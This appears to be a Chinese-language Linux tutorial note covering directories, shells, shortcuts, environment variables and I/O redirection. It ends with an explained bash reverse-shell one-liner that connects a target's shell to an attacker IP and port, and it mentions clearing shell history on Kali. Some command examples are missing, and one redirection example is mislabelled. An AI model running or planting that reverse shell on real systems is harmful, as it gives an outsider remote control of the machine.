Linux操作系统基础知识
Linux操作系统基础知识
Linux系统结构
- 内核
- Shell
- 文件系统
- 应用程序
Linux操作系统内核
- 管理进程
- 管理内存
- 管理驱动
- 管理文件和网络
Linux Shell
功能:接收用户的命令,经过转换,交给内核执行
cat —> open() read()
优点:
- 简化操作
- 安全
Linux Shell工具
名称 | 程序路径 | 作者 |
---|---|---|
bourne Shell | /usr/bin/sh或/bin/sh | Stephen Bourne |
C Shell | /usr/bin/csh | Bill Joy |
K Shell | /usr/bin/ksh | David Korn |
Bourne Again Shell | /bin/bash | Brian Fox |
Z Shell | /bin/zsh或/usr/bin/zsh | Paul Falstad |
Windows:cmd、Power Shell
Shell和Terminal
Linux文件系统
“一切皆文件”
查看文件 | 作用 |
---|---|
lsof /bin/bash | 查找某个文件相关的进程 |
lsof -u root | 列出某个用户打开的文件信息 |
lsof -c redis | 列出某个程序进程所打开的文件信息 |
lsof -i tcp | 列出所有tcp 网络连接信息 |
…… | …… |
Linux目录
根目录文件
目录 | 作用 | 备注 |
---|---|---|
bin | 存放普通用户可执行的指令 | 即使在单用户模式下也能够执行处理 |
boot | 开机引导目录 | 包括Linux内核文件与开机所需要的文件 |
dev | 设备目录 | 所有的硬件设备及周边均放置在这个设备目录中 |
etc | 各种配置文件目录 | 大部分配置属性均存放在这里 |
lib | 库文件存放地,bin和sbin需要的库文件 | 类似Windows的DLL |
media | 可移除设备挂载目录 | 类似U盘、光盘、移动硬盘等临时挂放目录 |
mnt | 用户临时挂载其他的文件系统 | 额外的设备可挂载在这里,相对临时而言 |
opt | 第三方软件安装目录 | 现在习惯性的放置在/usr/local中 |
proc | 虚拟文件系统 | 通常是内存中的映射,注意误删除数据文件的恢复 |
root | 系统管理员主目录 | 除root之外,其他用户均放置在/home目录下 |
run | 系统运行时所需文件 | 以前放在/var/run中,现在独立的/run目录 |
sbin | 只有root才能运行的管理指令 | 跟bin类似,但只属于root管理员 |
srv | 服务启动后需要访问的数据目录 | |
sys | 虚拟文件系统 | 跟proc一样,记录核心系统硬件信息 |
tmp | 存放临时文件目录 | 所有用户对该目录均可读写 |
usr | 应用程序放置目录 | |
var | 存放系统执行过程经常改变的文件 |
用户主目录
主目录:home directory
root用户的主目录是 /root
其他用户的主目录是 /home/用户名
将当前工作目录更改为当前用户的主目录:cd 空格
或者 cd ~
工作目录:working directory
目录指代
符号 | 指代 |
---|---|
绝对路径 | 由根目录 / 开始写起 |
相对路径 | 从当前所在的工作目录开始写起 |
/ | 根目录 |
. | 代表当前目录 |
~ | 代表用户工作目录,vim ~/.bashrc |
../ | 代表上一级目录 |
../../ | 上上一级目录,以此类推,超出范围的时候代表根目录 |
Linux常用操作
命令帮助
|
|
关机重启(root用户)
关机:
|
|
重启:
|
|
快捷键和命令
操作 | 作用 |
---|---|
Tab键 | 补全命令和目录(自动提示) |
方向键 | 上一条命令:↑;下一条命令:↓ |
Ctrl + r | 搜索历史命令,回车执行 |
!cd: | 重复执行最近一次以cd开头的历史命令 |
Ctrl + Insert | 复制 |
Shift + Insert | 粘贴 |
Alt + Insert | 复制并粘贴 |
Ctrl + E | 光标移动到行尾 |
Ctrl + A | 光标移动到行首 |
Ctrl + K | 清除光标后至行尾的内容 |
Ctrl + U | 清除光标前至行首间的所有内容 |
clear | 清屏,但是命令都还在 |
history | 查看历史命令 |
history -c | 清除历史命令 |
kali:echo > ~/.zsh_history | 清除历史命令(kali Linux) |
别名配置alias
查看别名:alias
设置别名(以bash为例):vim ~/.bashrc
格式:alias short='xxx;xxx'
生效:source ~/.bashrc
通配符
符号 | 指代 |
---|---|
* | 任意字符 |
? | 单个字符 |
[] | 匹配范围中的,比如[0-9][a-z] |
{} | 多个 ll {.log,.txt} |
^ | 取反 ll*[^txt]* 查找不是.txt结尾 |
系统环境变量
环境变量是操作系统或应用程序提供的一种机制,用于存储和访问各种配置信息和运行时参数。它们对于操作系统和应用程序的正常运行非常重要,具有以下作用:
- 配置应用程序:环境变量可以设置应用程序的配置参数,例如数据库连接字符串、日志级别、系统路径等。通过修改环境变量,可以轻松更改应用程序的行为和设置。
- 系统路径设置:环境变量中的"PATH"变量定义了系统在哪些目录中查找可执行文件。当你在命令行中输入一个命令时,操作系统会根据"PATH"环境变量的值来查找对应的可执行文件。这样,你可以在任何目录下直接运行系统中的命令。
- 共享配置信息:环境变量可以用于共享配置信息和参数值。不同的应用程序可以使用相同的环境变量来获取共享的配置值,这样可以提高配置的一致性和可维护性。
- 运行时参数传递:通过设置环境变量,可以在不修改代码的情况下传递运行时参数给应用程序。应用程序可以读取环境变量的值来确定其行为。
- 系统定制化:环境变量允许用户对系统进行个性化定制。用户可以设置特定的环境变量来满足自己的需求,例如设置默认编辑器、语言环境、主题等。
查看全部变量:env
查看单个变量:echo $XXX
用户变量:~/.bashrc
系统变量:/etc/profile
设置JDK环境变量
vim /etc/profile
export JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarsource /etc/profile
文件描述符和重定向
文件描述符 File Descriptor
ID | 描述 | 设备 |
---|---|---|
0 | 标准输⼊(stdin) | 键盘 |
1 | 标准输出(stdout) | 显示器 |
2 | 标准错误输出(stderr) | 显示器 |
重定向
在Linux中,重定向是一种将命令的输入或输出从默认的位置进行修改的方式。通过重定向,你可以将命令的输入重定向自文件,或将命令的输出重定向到文件或其他位置。
符号 | 类别 |
---|---|
> | 输出重定向(覆盖) |
» | 输出重定向(追加) |
2> | 错误输出重定向 |
&> | 标准输出和错误输出合并重定向 |
< | 输入重定向 |
« | Here文档(Here Document)输入重定向 |
| | 管道(pipe) |
-
标准输出重定向(
>
):使用>
将命令的输出重定向到文件中,覆盖原有内容。例如:1
command > output.txt
-
标准输出追加重定向(
>>
):使用>>
将命令的输出追加到文件末尾,而不覆盖原有内容。例如:1
command >> output.txt
-
标准错误输出重定向(
2>
):使用2>
将命令的错误输出重定向到文件中。例如:1
command 2> error.txt
-
标准输出和错误输出合并重定向(
&>
或>
):使用&>
或>
将命令的标准输出和错误输出合并重定向到文件中。例如:1 2 3
command &> output.txt 或 command > output.txt 2>&1
-
管道(
|
):使用|
将一个命令的输出作为另一个命令的输入。例如:1
command1 | command2
-
标准输入重定向(
<
):使用<
将命令的输入从文件中读取。例如:1
command < file
将
file
文件中的内容作为command
的输入。 -
标准输入重定向(
<
):使用<
从标准输入(键盘)中读取数据,直到遇见分界符END
才停止。例如:1
command < END
从标准输入(键盘)中读取数据,直到遇见分界符
END
才停止。 -
标准输出和输入重定向(
<
和>
):使用<
将文件file1
作为command
的输入,并将command
的处理结果输出到文件file2
。例如:1
command < file1 > file2
将
file1
作为command
的输入,并将command
的处理结果输出到file2
。 -
标准输入重定向和命令行参数结合使用(
<
和<<
):使用<
将文件test.txt
作为输入,并使用wc -l
命令统计文件中的行数。例如:1
wc -l < test.txt
统计
test.txt
文件中的行数。 -
标准输入重定向和Here文档结合使用(
<<
):使用<<
从标准输入(键盘)中读取数据,直到遇见分界符END
才停止,并使用wc -l
命令统计输入文本的行数。例如:1
wc -l << END
统计用户在终端输入的文本的行数,直到遇见分界符
END
才停止。
bash反弹连接案例
bash -i >& /dev/tcp/192.168.142.44/7777 0>&1
bash -i
:在靶机打开交互式的Shell
/dev/tcp/192.168.142.44/7777
:连接到攻击机IP端口
>&
和&>
等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机——接收结果
0>&1
:左边是标准输入。右边是标准输出,输出重定向。把靶机的输入重定向为攻击机的输出——接收命令这条命令的作用:靶机的输入输出都到了攻击机上
欲将心事付瑶琴。知音少,弦断有谁听?